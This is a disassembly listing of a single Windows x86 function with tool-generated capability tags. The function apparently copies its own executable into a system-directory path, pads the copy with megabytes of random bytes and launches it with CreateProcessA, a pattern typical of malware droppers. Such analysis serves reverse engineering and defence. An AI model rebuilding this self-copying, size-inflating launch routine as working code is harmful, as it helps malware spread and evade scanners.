Function at 0x403e90
Capabilities:
Create process on windows
Get common file path

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x412b36
push eax
mov eax, 0x15e8
mov dword fs:[0], esp
call fcn.0040a7b0
push ebx
push ebp
push esi
xor ebx, ebx
push edi
push ebx
call fcn.0040a9d8
push eax
call fcn.0040a9b0
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x101]
mov byte [esp + 0x100], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
stosb byte es:[edi], al
lea eax, [esp + 0x178]
push 0x80
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xf8]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
movsx edx, byte [esp + 0xf8]
push edx
lea eax, [esp + 0xfc]
push str._c:_system
push eax
call dword [0x4196a4]
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x605]
mov byte [esp + 0x604], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1400000
stosb byte es:[edi], al
call fcn.0040a340
add esp, 0x10
mov ebp, eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], ebp
push 1
call fcn.00405788
push ebx
lea ecx, [esp + 0x17c]
push 0x81
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0x160c], ebx
call fcn.0040585c
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 4]
test byte [esp + eax + 0x1c], 1
jne 0x403fe8
lea ecx, [esp + 0x5f8]
push 0x1000
push ecx
lea ecx, [esp + 0x1c]
call fcn.0040594c
mov eax, dword [esp + 0x1c]
lea esi, [esp + 0x5f8]
mov ecx, eax
mov edi, ebp
mov edx, ecx
add ebx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebp, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 4]
test byte [esp + ecx + 0x1c], 1
je 0x403f9f
mov ebp, dword [esp + 0x10]
lea ecx, [esp + 0x14]
call fcn.004058a3
push 0
call fcn.0040a9d8
push eax
call fcn.0040a9b0
add esp, 8
lea ecx, [esp + 0x5c]
push 1
call fcn.00405788
push 0
lea edx, [esp + 0xfc]
push 0x92
push edx
lea ecx, [esp + 0x68]
mov byte [esp + 0x160c], 1
call fcn.0040585c
push ebx
push ebp
lea ecx, [esp + 0x70]
call fcn.00405909
mov esi, 0x2000
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x1f9]
mov byte [esp + 0x1f8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0040a9ba
cdq
mov ecx, 0x7f
lea edi, [esp + 0x1f8]
idiv ecx
mov ecx, 0x100
push 0x400
mov al, dl
mov dh, dl
mov eax, edx
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1fc]
lea ecx, [esp + 0x6c]
push eax
call fcn.00405909
dec esi
jne 0x40403c
lea ecx, [esp + 0x5c]
call fcn.004058a3
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xb8]
lea edx, [esp + 0xb4]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xa4]
mov dword [esp + 0xb4], 0x44
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x118]
mov dword [esp + 0xdc], str.WinSta0Default
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea ecx, [esp + 0x70]
mov byte [esp + 0x1600], 0
call fcn.00405849
lea ecx, [esp + 0x70]
call fcn.00405730
lea ecx, [esp + 0x28]
mov dword [esp + 0x1600], 0xffffffff
call fcn.00405849
lea ecx, [esp + 0x28]
call fcn.00405730
mov ecx, dword [esp + 0x15f8]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x15f4
ret